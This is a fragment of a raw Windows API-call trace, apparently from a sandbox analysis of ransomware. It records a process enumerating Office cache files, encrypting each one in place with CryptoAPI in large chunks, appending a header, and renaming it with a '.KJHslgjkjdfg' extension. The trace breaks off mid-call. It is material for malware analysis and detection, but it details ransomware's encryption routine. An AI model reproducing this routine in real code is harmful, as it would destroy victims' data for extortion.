WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.470] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.470] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.473] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xde1fd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.476] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.477] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.478] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.478] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.478] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.478] SetEndOfFile (hFile=0x124) returned 1 [0130.481] GetProcessHeap () returned 0x2a0000 [0130.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0130.482] GetProcessHeap () returned 0x2a0000 [0130.482] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.482] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.kjhslgjkjdfg")) returned 1 [0130.862] CloseHandle (hObject=0x124) returned 1 [0130.862] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0130.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.863] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2865664) returned 1 [0130.863] GetProcessHeap () returned 0x2a0000 [0130.863] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.863] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.863] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.863] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.863] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.863] GetProcessHeap () returned 0x2a0000 [0130.863] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.863] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0130.863] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.863] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0130.882] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0130.882] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0130.883] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0130.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.883] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0130.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.883] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.883] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.072] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.077] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.077] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.078] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.078] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.078] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.169] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.173] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.175] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.175] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.175] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.175] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.270] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.274] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.275] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.275] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bbad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.275] SetEndOfFile (hFile=0x124) returned 1 [0133.280] GetProcessHeap () returned 0x2a0000 [0133.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.280] GetProcessHeap () returned 0x2a0000 [0133.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.280] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.kjhslgjkjdfg")) returned 1 [0133.281] CloseHandle (hObject=0x124) returned 1 [0133.281] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0133.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.282] GetProcessHeap () returned 0x2a0000 [0133.282] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.282] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.282] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0133.282] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xe, lpOverlapped=0x0) returned 1 [0133.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.284] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.284] GetProcessHeap () returned 0x2a0000 [0133.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.284] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0133.284] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.284] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0133.284] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0133.285] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0133.285] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0133.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.285] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.285] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.285] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.287] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.287] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xc72, lpOverlapped=0x0) returned 1 [0133.287] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc80, dwBufLen=0xc80 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xc80) returned 1 [0133.287] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.287] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xc80, lpOverlapped=0x0) returned 1 [0133.287] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.287] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.287] SetEndOfFile (hFile=0x124) returned 1 [0133.290] GetProcessHeap () returned 0x2a0000 [0133.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.290] GetProcessHeap () returned 0x2a0000 [0133.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.290] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.kjhslgjkjdfg")) returned 1 [0133.313] CloseHandle (hObject=0x124) returned 1 [0133.313] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.314] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.315] GetProcessHeap () returned 0x2a0000 [0133.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.315] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.315] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0133.315] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x1, lpOverlapped=0x0) returned 1 [0133.317] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.317] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.317] GetProcessHeap () returned 0x2a0000 [0133.317] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.318] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0133.318] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.318] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0133.318] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0133.318] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0133.318] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0133.318] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.318] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.318] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.318] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.318] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.319] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x106f, lpOverlapped=0x0) returned 1 [0133.320] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1070, dwBufLen=0x1070 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1070) returned 1 [0133.320] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.320] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x1070, lpOverlapped=0x0) returned 1 [0133.320] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.320] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.320] SetEndOfFile (hFile=0x124) returned 1 [0133.323] GetProcessHeap () returned 0x2a0000 [0133.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.323] GetProcessHeap () returned 0x2a0000 [0133.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.323] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0133.324] CloseHandle (hObject=0x124) returned 1 [0133.324] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.324] GetProcessHeap () returned 0x2a0000 [0133.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.340] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.341] CryptDecrypt (in: 